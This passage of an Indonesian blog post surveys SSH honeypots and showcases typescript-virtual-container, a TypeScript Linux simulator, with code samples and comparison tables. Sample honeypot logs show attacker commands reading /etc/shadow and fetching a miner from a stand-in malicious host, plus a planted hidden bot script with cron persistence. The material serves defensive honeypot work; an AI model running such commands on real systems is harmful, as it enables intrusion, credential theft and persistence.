endlessh adalah honeypot degeneratif: ia menjaga koneksi SSH tetap terbuka dengan menyiarkan data banner secara lambat pada 1 byte per detik (atau kurang). Klien SSH yang terhubung akan macet tanpa batas -- tidak akan pernah mencapai otentikasi karena server tidak pernah selesai mengirim banner.

Tujuannya bukan intelijen ancaman tetapi penolakan sumber daya murni: mengisi utas pemindaian penyerang sehingga mereka tidak dapat mencapai target asli secepat itu. Sejujurnya ini agak jahat dalam arti yang baik. Kamu tidak belajar apa pun dari penyerang -- kamu hanya membuat mereka membuang-buang waktu. Ada sesuatu yang sangat memuaskan tentang itu.

// Semua perilaku protokol endlessh:
// Kirim: "SSH-2.0-OpenSSH_" lalu tambahkan karakter acak secara perlahan
// Jangan pernah menutup koneksi
// Pemindai penyerang akan timeout setelah N detik

Tidak ada perintah yang ditangkap. Tidak ada otentikasi yang diuji. Hanya waktu koneksi.

Ditulis dalam: C
GitHub: skeeto/endlessh


4.4 sshesame -- honeypot "biarkan semua orang masuk"

sshesame menerima semua koneksi SSH (pengguna mana pun, kata sandi mana pun, kunci mana pun) dan merekam semuanya. Ini adalah honeypot tanpa interaksi: ia tidak merespons perintah, ia hanya membiarkan penyerang "masuk" dan merekam setiap tombol yang mereka ketik.

2024-01-15 03:22:11 Koneksi dari 45.33.32.156
  Pengguna: root, Kata Sandi: password123 -- diterima
  Perintah yang diketik:
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Terputus setelah 47d

Berguna untuk pengumpulan kredensial: kamu dengan cepat mengumpulkan nama pengguna dan kata sandi yang dicoba bot, yang memberitahumu kredensial default apa yang sedang di-bruteforce secara aktif. Spoiler: selalu root/password, admin/admin, dan root/123456. Setiap saat.

GitHub: jaksi/sshesame


4.5 Lyrebird -- framework honeypot berbasis Docker

lyrebird/honeypot-base adalah image dasar Docker untuk membangun honeypot layanan jaringan. Ini bukan khusus honeypot SSH -- ini adalah framework untuk membangun honeypot untuk protokol apa pun.

Image dasar menyediakan framework logging, sistem plugin untuk protokol, dan konfigurasi Docker Compose untuk honeypot multi-layanan. Kamu memperluasnya untuk mensimulasikan layanan tertentu.

Docker Hub: lyrebird/honeypot-base


4.6 Membangun honeypot SSH di Node.js -- metode naif, dan mengapa gagal

Sebelum typescript-virtual-container, membangun honeypot SSH di Node.js berarti menggabungkan library ssh2 asli dengan simulasi perintah manual. Sangat melelahkan, sangat tidak lengkap, tapi... ini semacam ritus peralihan pada titik ini:

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Mencatat upaya
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Biarkan semua orang masuk
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Respons simulasi
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Ini "berfungsi" dalam arti menangkap kredensial dan perintah. Tapi jelas palsu begitu penyerang yang canggih menggali sedikit. uname -a mengembalikan string yang benar tetapi ls /etc mengembalikan "command not found" -- itu jelas jebakan. Sistem file tidak ada. Perintah tidak dirantai. Pipe tidak berfungsi. Variabel tidak diperluas.

Penyerang yang kompeten akan mengidentifikasi honeypotmu dalam lima perintah pertama. Skrip otomatis yang mencari perilaku mirip Cowrie juga akan mendeteksinya segera. Ini tampaknya yang mendorong penulis typescript-virtual-container untuk membangun sesuatu yang benar-benar menafsirkan perintah dengan benar -- lebih lanjut di Bagian 5.


Ringkasan keluarga honeypot

Cowrie Kippo endlessh sshesame Lyrebird Naif ssh2
Tingkat interaksi sedang-tinggi sedang nol nol bervariasi rendah
Protokol SSH asli ✅ ✅ ❌ (tarpit) ✅ bervariasi ✅
Fidelitas shell sedang sedang n/a tidak ada bervariasi minimal
Menangkap kredensial ✅ ✅ ❌ ✅ ✅ ✅
Menangkap perintah ✅ ✅ ❌ ✅ bervariasi ✅
Menangkap malware ✅ ✅ ❌ ❌ ❌ ❌
Integrasi SIEM ✅ asli ❌ ❌ ❌ ❌ manual
Respons LLM ✅ (baru) ❌ ❌ ❌ ❌ ❌
Bahasa Python Python C Go Docker Node.js
Node.js asli ❌ ❌ ❌ ❌ ❌ ✅
Status ✅ sangat aktif ⚠️ diarsipkan ✅ aktif ✅ aktif ✅ aktif DIY

Polanya cukup jelas di sini: semakin banyak fidelitas yang kamu inginkan, semakin banyak Python yang harus kamu tulis. Cowrie adalah pemenang tak terbantahkan jika kamu melakukannya dengan serius -- ia telah teruji di lapangan selama bertahun-tahun dan menangkap lebih dari sekadar kredensial sederhana. endlessh dan sshesame adalah proyek keren lebih dari sekadar alat intelijen ancaman yang serius. Dan pendekatan naif di Node.js mungkin membawamu sekitar 20% dari perjalanan sebelum kamu menabrak tembok.


Bagian 5 -- typescript-virtual-container: yang mengisi celah

OK jadi di sinilah hal-hal menjadi menarik. Setelah mengkatalogkan semua keluarga di atas, kuadran yang hilang menjadi cukup jelas:

  • JS sandbox: mengisolasi kode, tidak ada shell, tidak ada sistem file, tidak ada SSH
  • Emulator Linux: OS asli, shell asli, SSH asli... tapi 150+ MB RAM, 30 detik boot, dan kamu harus membangun API-mu sendiri di atas I/O serial
  • Honeypot: shell palsu, tidak ada API yang dapat diprogram, Python/Go/C, tidak asli Node

Tidak ada yang membangun lingkungan Linux lengkap, dapat diprogram, asli Node, dengan SSH asli, izin asli, jaringan virtual asli, dan API TypeScript yang diketik. Maka dia membangunnya.

Perkenalan singkat karena ini pertama kalinya saya menyebutnya dengan benar: typescript-virtual-container dibangun oleh Chloé Rolzhausen, seorang pengembang Prancis yang dipanggil Fortune (atau ItsRealFortune) secara online. Kamu dapat menemukannya di situs webnya dan LinkedIn. Seluruh proyek -- 56.000 baris TypeScript, 247 file, 170 perintah -- adalah upaya solo oleh satu orang. Saya akan memanggilnya Fortune untuk sisa artikel. Dan ya, itu cukup gila. Lihatlah karyanya!

Apa sebenarnya ini

typescript-virtual-container adalah simulator lingkungan Linux yang ditulis dalam TypeScript murni. Tanpa Wasm. Tanpa ekstensi native. Tanpa kernel. ~56.000 baris sumber tersebar di 247 file TypeScript.

Wawasan kuncinya: kamu tidak perlu emulator CPU untuk menjalankan ls /etc | grep passwd. Kamu perlu:

  1. Pohon node dalam memori yang merespons operasi jalur
  2. Model izin POSIX yang diterapkan pada setiap akses
  3. Parser shell yang memahami pipeline, redirect, sub-shell, dan ekspansi variabel
  4. ~170 implementasi perintah (fungsi, bukan biner)
  5. Sistem manajemen pengguna dan grup
  6. Sesuatu untuk mengekspos semua ini melalui SSH

Semua itu dapat dicapai dalam TypeScript murni tanpa keterlibatan kernel.

VirtualFileSystem

VFS adalah pohon dalam memori dari node yang diketik -- tanpa I/O disk kecuali kamu secara eksplisit mengaktifkan mode persistensi "fs":

// Representasi internal yang disederhanakan
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // placeholder yang dimuat secara lazy

Setiap operasi jalur melewati normalizePath (menyelesaikan ., .., symlink) dan enforceAccess (memeriksa izin baca/tulis/eksekusi terhadap uid/gid peminta). chmod, chown, sticky bit, dan setuid semuanya diimplementasikan dan benar-benar ditegakkan. Jika proses yang berjalan sebagai uid 1000 mencoba membaca file milik root dengan mode 0600, ia mendapatkan EACCES -- bukan EACCES palsu, Error JavaScript asli yang dilemparkan dari pemeriksaan izin. Bagian ini cukup elegan sejujurnya.

VFS dapat diserialisasi ke:

  • .vfsb -- format biner kompak (kustom, dengan kompresi fflate) -- ini format default
  • Snapshot JSON -- dapat dibaca manusia, baik untuk debugging
  • Arsip TAR -- impor/ekspor dengan format tar asli, jadi kamu bisa tar -xf sesuatu dan VFS hanya memiliki... file-file itu
  • Image SquashFS -- impor hanya-baca

Dalam mode persistensi "fs", ia mempertahankan write-ahead log (WAL) untuk pemulihan setelah crash -- tulis masuk ke log terlebih dahulu, lalu ke snapshot saat flush. Jika Node crash di tengah operasi, log memungkinkanmu membangun kembali status terakhir yang lengkap.

Ada juga lapisan FileCache yang mensimulasikan latensi I/O disk. Kamu mengonfigurasi profil seperti NVME_DISK_IO atau HDD_DISK_IO dan VFS menunda operasi file secara artifisial untuk mencocokkan pengaturan waktu yang realistis. Yang cukup lucu -- perangkat lunak yang sengaja memperlambat dirinya sendiri untuk mensimulasikan perangkat keras -- tetapi sebenarnya sangat berguna untuk benchmarking.

Interpreter shell

Parser shell menghasilkan AST yang diketik:

// "ls /etc | grep root && echo done" diurai menjadi:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

Eksekutor menelusuri AST ini:

  • Untuk pipeline, ia membuat rantai aliran { stdin, stdout, stderr } dan mengeksekusi setiap perintah dengan I/O yang dipipe
  • Untuk operator logika (&&, ||), ia memeriksa $? setelah sisi kiri sebelum mengeksekusi sisi kanan
  • Untuk sub-shell ($(...), ` `), ia bercabang konteks eksekusi
  • Untuk redirect (>file, >>file, 2>&1, <file), ia mengatur pengkabelan aliran sebelum eksekusi
  • Untuk tugas latar belakang (cmd &), ia mengeksekusi tanpa menunggu selesai
  • Untuk variabel, ia memperluas $VAR, ${VAR:-default}, ${#VAR}, dan aritmatika $((expr))
  • Untuk ekspansi kurung kurawal ({a,b,c}, {1..5}), ia menghasilkan daftar ekspansi lengkap sebelum mengeksekusi

Semua ini adalah perilaku POSIX shell asli. Parser menangani heredoc, substitusi proses, globbing (*, ?, [abc]), dan penanganan kutipan (kutipan tunggal, kutipan ganda dengan interpolasi, escaping backslash). Ini tidak sempurna -- kasus tepi ada -- tapi ini jauh melampaui apa yang kamu harapkan dari proyek TypeScript.

~170 perintah bawaan

Perintah adalah fungsi TypeScript yang terdaftar di registri perintah. Mereka menerima CommandContext dengan aliran stdin/stdout/stderr, VFS, sesi pengguna, lingkungan shell, dan akses ke sub-modul.

Menulis 170 implementasi perintah Unix, itu... banyak. Beberapa sepele (echo, true, false), beberapa sangat kompleks (awk, find, tar). Seperti, awk POSIX lengkap? Dalam TypeScript? Itu gila sejujurnya. Berikut sampel dari apa yang ada di dalamnya:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (sisi klien, koneksi keluar),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (editor interaktif lengkap), vim (dasar), vi (dasar),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (simulasi), systemctl (stub), journalctl (stub),
...dan sekitar 130 lainnya

"Stub" (git, python3, node) merespons panggilan umum secara realistis -- python3 --version mengembalikan string versi yang kredibel, git status menunjukkan status repositori fiktif -- tanpa melakukan pekerjaan nyata. Untuk honeypot, ini sebenarnya lebih berguna daripada perintah asli, karena memungkinkanmu mengamati apa yang coba dijalankan penyerang tanpa menjalankan apa pun yang berbahaya.

Server SSH

Lapisan SSH menggunakan paket npm ssh2 asli -- protokol SSH asli, pertukaran kunci asli, enkripsi asli. SSHMimic membungkusnya:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH asli: ssh -p 2222 root@localhost
// SFTP asli: sftp -P 2222 root@localhost
// SCP asli: scp -P 2222 file root@localhost:/tmp/

shellProperties menentukan apa yang dilaporkan uname -a, lsb_release -a, neofetch, /proc/version, dan /etc/os-release. Kamu dapat meniru distribusi Linux dan versi kernel apa pun secara meyakinkan -- untuk klien SSH asli, secara harfiah tidak ada cara untuk membedakannya.

Modul HoneyPot

Karena interpreter shell asli dan server SSH asli, perintah penyerang benar-benar dieksekusi di lingkungan virtual. Permintaan wget yang dipicu penyerang dicatat dengan URL tujuan. File yang dibuat penyerang disimpan di VFS. Upaya eskalasi hak istimewa penyerang menghasilkan kesalahan yang realistis.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Setelah sesi, membedakan sistem file
const before = shell.vfs.toSnapshot();
// ... sesi penyerang ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Ini secara kualitatif berbeda dari Cowrie. Sistem file palsu Cowrie dapat merespons ls tetapi tidak dapat benar-benar melacak file yang dibuat penyerang dan modifikasi yang mereka buat sebagai diff terstruktur. typescript-virtual-container bisa, karena VFS adalah struktur data langsung -- setiap tulis dilacak. Entri cron yang baru saja ditambahkan penyerang? Itu ada di diff. Folder .hidden itu? Di diff. Cukup berguna untuk analisis malware.

Stack jaringan virtual

Ini mungkin bagian paling mengesankan dari seluruh proyek, dan tidak ada bandingannya di proyek lain di ruang ini. Seperti, stack jaringan virtual L2/L3 lengkap dengan dukungan VPN, ditulis dalam TypeScript murni, tanpa kartu jaringan nyata yang terlibat. Itu benar-benar gila.

VirtualNetworkManager memberikan setiap instance VirtualShell antarmuka jaringan virtual dengan alamat IP yang dapat dikonfigurasi, tabel routing, dan firewall perangkat lunak (aturan gaya iptables dengan conntrack dan NAT). ip addr, ip route, iptables -L, netstat -rn semuanya menunjukkan status jaringan virtual.

VirtualSwitch (bernama Baie -- dari kata Prancis untuk rak server, "baie informatique") menghubungkan beberapa shell di subnet bersama. Ia mengimplementasikan:

  • MAC learning dan ARP
  • Routing IP antar subnet
  • NAT (masquerade keluar)
  • DNS (catatan yang dapat dikonfigurasi per subnet)
  • Load balancing (round-robin, least connections)
  • Traffic shaping: latensi, jitter (distribusi Gaussian), packet loss, burst loss, reordering, duplikasi
  • Bandwidth limiting (token bucket)
  • Penerapan MTU
  • Connection tracking (stateful, status NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Tiga mesin virtual di switch yang sama
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web bisa mencapai api, api bisa mencapai db, web tidak bisa mencapai db secara langsung
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Traffic shaping: mensimulasikan link WAN yang tidak stabil ke luar
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn menciptakan terowongan terenkripsi antar instance Baie -- kamu dapat mensimulasikan jaringan multi-situs dengan interkoneksi VPN antar situs.

VirtualProxy mengimplementasikan port forwarding dan proxy SOCKS5.

Tidak ada dari ini yang menyentuh kartu jaringan nyata. Semuanya routing objek TypeScript. Perintah ping "berfungsi" dengan routing melalui switch virtual dan mengembalikan respons ICMP yang disimulasikan. curl http://192.168.0.3/api merutekan melalui jaringan virtual, mencapai respons HTTP yang disimulasikan dari shell api, dan mengembalikan konten. Ini kura-kura sampai ke bawah, dalam arti terbaik.

SandboxedShell

Untuk penggunaan programatik di mana kamu membutuhkan isolasi yang lebih kuat, SandboxedShell menjalankan sesi shell dalam thread Worker Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% dari satu core
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

Isolasi di sini disediakan oleh lapisan VFS (shell thread worker hanya dapat melihat sistem file virtual, tidak pernah sistem file host) ditambah isolasi memori thread Worker Node.js. Ini lebih ringan dari isolated-vm tetapi lebih tepat untuk isolasi tingkat shell daripada tingkat JS.

Pembatasan sumber daya

Kamu dapat mengonfigurasi batas sumber daya per shell yang memengaruhi apa yang dilaporkan perintah pemantauan sistem:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Di dalam shell ini, free -m menunjukkan 512 MB RAM total. nproc mengembalikan 2. /proc/meminfo menunjukkan nilai yang dibatasi. htop dan top menunjukkan jumlah CPU yang dibatasi. Ini memungkinkanmu menentukan dengan tepat jejak perangkat keras mesin yang disimulasikan.

Tiga mode deployment

Mode 1: Server SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Protokol SSH asli, SFTP asli, SCP asli
  → Kasus penggunaan: honeypot, lingkungan pengujian jarak jauh, lab pelatihan

Mode 2: Shell web (browser)
  builds/fortune-nyx-v1.7.8-web.min.js (bundel ESM)
  → Berjalan di browser, VFS dipersist di IndexedDB
  → Kasus penggunaan: tutorial interaktif, terminal tertanam, demo
  → Bonus: menjalankan startxfce4 untuk desktop XFCE lengkap yang disimulasikan

Mode 3: CLI mandiri
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (satu file, tanpa instalasi)
  → curl dan jalankan, VFS dipersist di direktori .vfs/
  → Kasus penggunaan: demo cepat, eksperimen lokal

Polyfill -- bagaimana build browser bekerja tanpa Wasm

OK ini bagian yang menurut saya sangat cerdas dan ingin saya soroti secara khusus.

Membuat library Node.js berfungsi di browser biasanya merupakan mimpi buruk. Entah kamu menggunakan runtime Wasm (berat, lambat dimuat), atau kamu menghabiskan berminggu-minggu mengganti setiap import node:* secara manual dengan alternatif yang kompatibel dengan browser. Fortune melakukan yang kedua -- tetapi sangat bersih, dengan menulis satu set polyfill kustom yang tinggal di direktori polyfills/ repositori.

Pipeline build hanyalah esbuild dengan banyak entri alias:

// demo/build.js -- semua konfigurasi build browser
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Tanpa Wasm. Tanpa library polyfill eksternal. Tanpa hal-hal webpack-node-externals. Hanya modul yang dialiaskan dan beberapa global yang diinjeksikan. Biarkan saya merinci masing-masing karena beberapa sangat mengesankan.

node:fs -- IndexedDB sebagai sistem file palsu

Yang ini favorit saya. Polyfill node:fs mengimplementasikan API sinkron Node.js fs (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) yang didukung oleh dua lapisan: Map dalam memori untuk pembacaan sinkron, dan IndexedDB untuk persistensi antar reload halaman. Tulis masuk ke Map segera (jadi readFileSync tepat setelah writeFileSync selalu berfungsi), kemudian di-flush ke IndexedDB secara asinkron di latar belakang.

// Cache sinkron (path → Uint8Array | null) -- pembacaan instan
const memCache = new Map();

// Pramuat semuanya dari IndexedDB ke memCache saat startup
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Inilah alasan mengapa snapshot VFS bertahan dari reload halaman di browser -- seluruh biner .vfsb ditulis ke IndexedDB melalui polyfill ini, dan dibaca kembali pada pemuatan berikutnya. Tanpa Wasm. Tanpa server. Hanya IndexedDB, yang sudah ada di semua browser sejak sekitar tahun 2011.

node:crypto -- SHA-256 dalam JS murni

Alih-alih mengimpor library crypto Wasm, polyfill crypto mengimplementasikan SHA-256 dari awal menggunakan konstanta putaran FIPS 180-4. 166 baris JS murni dengan dukungan penuh untuk output hex/base64/Uint8Array. Semua hashing di library melewati ini -- sidik jari kunci host SSH, checksum internal, semuanya. Ringkas, tanpa dependensi, berfungsi.

node:os -- membaca perangkat keras browser asli

Yang ini sentuhan yang bagus. Alih-alih mengembalikan nilai palsu yang dikodekan keras, node:os membaca navigator.deviceMemory untuk RAM total dan navigator.hardwareConcurrency untuk jumlah CPU. Jadi neofetch di build browser benar-benar melaporkan sesuatu yang sesuai dengan mesin aslimu -- bukan stub palsu 2 core, 2 GB RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB default
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // juga mem-parsing navigator.userAgent untuk menebak string model CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- stub yang jujur

Browser tidak dapat membuka soket TCP atau menjalankan SSH asli, jadi ini adalah stub yang melempar NotImplemented dengan pesan yang jelas jika ada yang mencoba menggunakannya. Tidak ada kegagalan diam-diam, tidak ada undefined yang dikembalikan di mana objek diharapkan. Hanya pesan keras dan jelas "ini tidak berfungsi di browser" -- yang persis seperti yang kamu inginkan.

process.js dan buffer.js -- global yang diinjeksikan

Keduanya diinjeksikan di bagian atas setiap file bundel melalui opsi inject esbuild, sehingga process dan Buffer tersedia secara global tanpa import eksplisit. process.js sangat kecil: env, version, platform: 'browser', nextTick via queueMicrotask, uptime via performance.now(). buffer.js adalah implementasi ulang lengkap dari Buffer di atas Uint8Array -- semua metode readUInt32BE, writeInt16LE, encoding hex/base64 yang menjadi sandaran implementasi SSH dan VFS.


Keseluruhan polyfill sekitar 640 baris JS yang ditulis tangan. Tidak ada paket npm. Tidak ada Wasm. Dan hasilnya adalah bundel browser yang hanya library, berjalan secara native, tanpa kecemasan "tapi apakah ini benar-benar berfungsi di browser?" yang biasa kamu dapatkan dengan library yang dirancang untuk Node terlebih dahulu. Layak untuk melihat direktori polyfills/ di repositori jika kamu penasaran -- setiap file terkandung dengan baik dan dapat dibaca sendiri, yang merupakan pilihan gaya yang sangat saya hargai.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Kategori JS Sandbox JS Sandbox JS Sandbox Emulator Emulator Node.js/Wasm Honeypot Simulator
Mengisolasi JS ⚠️ lingkup ✅ V8 Isolate ✅ Wasm n/a n/a sebagian n/a ✅ Worker
Kernel Linux asli ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Interpreter shell ❌ ❌ ❌ ✅ (asli) ✅ (asli) ✅ (asli) sebagian ✅ (kustom)
~170 perintah Unix ❌ ❌ ❌ ✅ ✅ sebagian ~20 ✅
Izin POSIX ❌ ❌ ❌ ✅ ✅ ✅ sebagian ✅ ditegakkan
Manajemen pengguna ❌ ❌ ❌ ✅ ✅ ❌ minimal ✅ lengkap
Server SSH asli ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/audit ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/snapshot VFS ❌ ❌ ❌ terbatas ❌ ❌ ❌ ✅
Jaringan virtual L2/L3 ❌ ❌ ❌ dasar ❌ ❌ ❌ ✅ lengkap
VPN virtual ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Dukungan browser ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js asli ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API diketik dasar ✅ ✅ minimal ❌ ✅ ❌ ✅ lengkap
Kompatibilitas biner n/a n/a n/a ✅ ✅ sebagian n/a ❌
Waktu boot instan instan instan 15-40d 15-40d 2-5d instan <1d
RAM/instance ~1 MB ~3-10 MB ~5-15 MB 150-256 MB 200+ MB ~100 MB ~50 MB ~5-20 MB
Dependensi runtime 0 1 (native) 1 (Wasm) 0 proprietary 1 dependensi Python 3 (ssh2, ws, fflate)
Status stabil ✅ aktif ✅ aktif ✅ sangat aktif komersial ✅ aktif ✅ aktif ✅ aktif

Kapan menggunakan apa

Kamu perlu menjalankan JavaScript tidak terpercaya -- formula yang dikirimkan pengguna, plugin, hook skrip.
→ isolated-vm. V8 Isolate asli, batas memori ketat, jembatan komunikasi eksplisit. Hindari vm2 -- daftar CVE hanya terus bertambah, serius ini seperti yang baru setiap beberapa bulan. Hindari vm -- itu sama sekali bukan sandbox, tolong.

Kamu perlu mengisolasi JS dan tidak ingin ekstensi native, atau membutuhkan kompatibilitas browser.
→ quickjs-emscripten. Batas Wasm, modul ~500 KB, berfungsi di browser dan Node. Lebih lambat dari V8 tetapi benar-benar terisolasi.

Kamu perlu mem-boot OS Linux asli yang tidak dimodifikasi dengan kompatibilitas biner.
→ v86 untuk Linux 32-bit, atau container2wasm jika kamu memiliki image Docker yang ada. Terima 150 MB+ RAM dan 30 detik boot, itulah dealnya. Jika perlu 64-bit, lihat CheerpX atau gunakan runtime kontainer asli.

Kamu perlu menyematkan terminal mirip Linux dalam aplikasi web tanpa backend.
→ v86 (OS lengkap, berat, lambat boot) atau bundel browser typescript-virtual-container (simulator, lebih ringan, boot instan, menyertakan startxfce4 untuk desktop lengkap yang cukup keren).

Kamu membutuhkan tutorial coding interaktif online atau IDE browser.
→ WebContainers jika kamu fokus pada ekosistem Node.js. CheerpX jika kamu membutuhkan userspace Linux asli. Bundel browser typescript-virtual-container jika kamu menginginkan opsi yang lebih ringan dengan API yang diketik.

Kamu ingin mengumpulkan TTP penyerang SSH dalam skala besar.
→ Cowrie adalah standar produksi, titik. Berjalan di server Linux mana pun, terintegrasi dengan semua SIEM, memiliki mode LLM sekarang. Gunakan saja Cowrie.

Kamu menginginkan data honeypot SSH dalam aplikasi Node.js dengan API yang dapat diprogram.
→ typescript-virtual-container. Perintah benar-benar dieksekusi. VFS adalah struktur data nyata yang bisa kamu snapshot dan bedakan secara instan. Penyerang mendapatkan lingkungan interaktif yang meyakinkan, dan kamu mendapatkan data audit terstruktur tanpa meninggalkan Node.

Kamu membutuhkan otomatisasi shell / pengujian CI tanpa Docker.
→ typescript-virtual-container. Boot dalam kurang dari satu detik, snapshot sebelum pengujian, restore setelahnya. Menjalankan perintah shell dengan API yang diketik. Tanpa daemon Docker, tanpa kernel, tanpa VM, tanpa menunggu.

Kamu membutuhkan lingkungan shell multi-penyewa (SaaS, pendidikan, pelatihan).
→ typescript-virtual-container. 5-20 MB per instance vs. 150-256 MB untuk emulator. 100 pengguna bersamaan: ~2 GB vs. ~25 GB. Itu perbedaan besar dalam biaya hosting!

Kamu membutuhkan honeypot realistis yang juga memungkinkanmu membangun lab jaringan multi-VM.
→ typescript-virtual-container adalah satu-satunya hal di ruang ini yang melakukan keduanya.


Apa yang tidak bisa dilakukannya (dan saya ingin jujur tentang ini)

Ia tidak dapat menjalankan biner x86 asli. Jika kamu perlu mengompilasi kode C, menjalankan interpreter Python asli, atau menggunakan perangkat lunak yang dikompilasi untuk Linux, tidak ada ABI kernel untuk mendukung syscall tersebut. Perintah seperti gcc, python3, dan node adalah stub -- mereka merespons --version dan panggilan umum, tetapi tidak menjalankan apa pun yang nyata.

Itulah trade-off fundamental: kamu mendapatkan 10-50 kali lebih sedikit memori, boot instan, kompatibilitas browser, API yang diketik, SSH asli, dan jaringan virtual -- dan kamu meninggalkan kompatibilitas biner dengan userspace Linux.

Fortune telah banyak memikirkan hal ini saat merancang proyek. Untuk kasus penggunaan yang dia targetkan -- honeypot, pengujian, terminal tertanam, lingkungan CI -- menjalankan biner yang dikompilasi sebenarnya tidak pernah diperlukan. Pipeline shell, manipulasi file, routing jaringan, dan SSH mencakup semuanya. Tapi jika kasus penggunamu memerlukan perangkat lunak terkompilasi asli, v86 atau Docker adalah jawaban yang tepat, bukan ini.


Untuk menyimpulkan

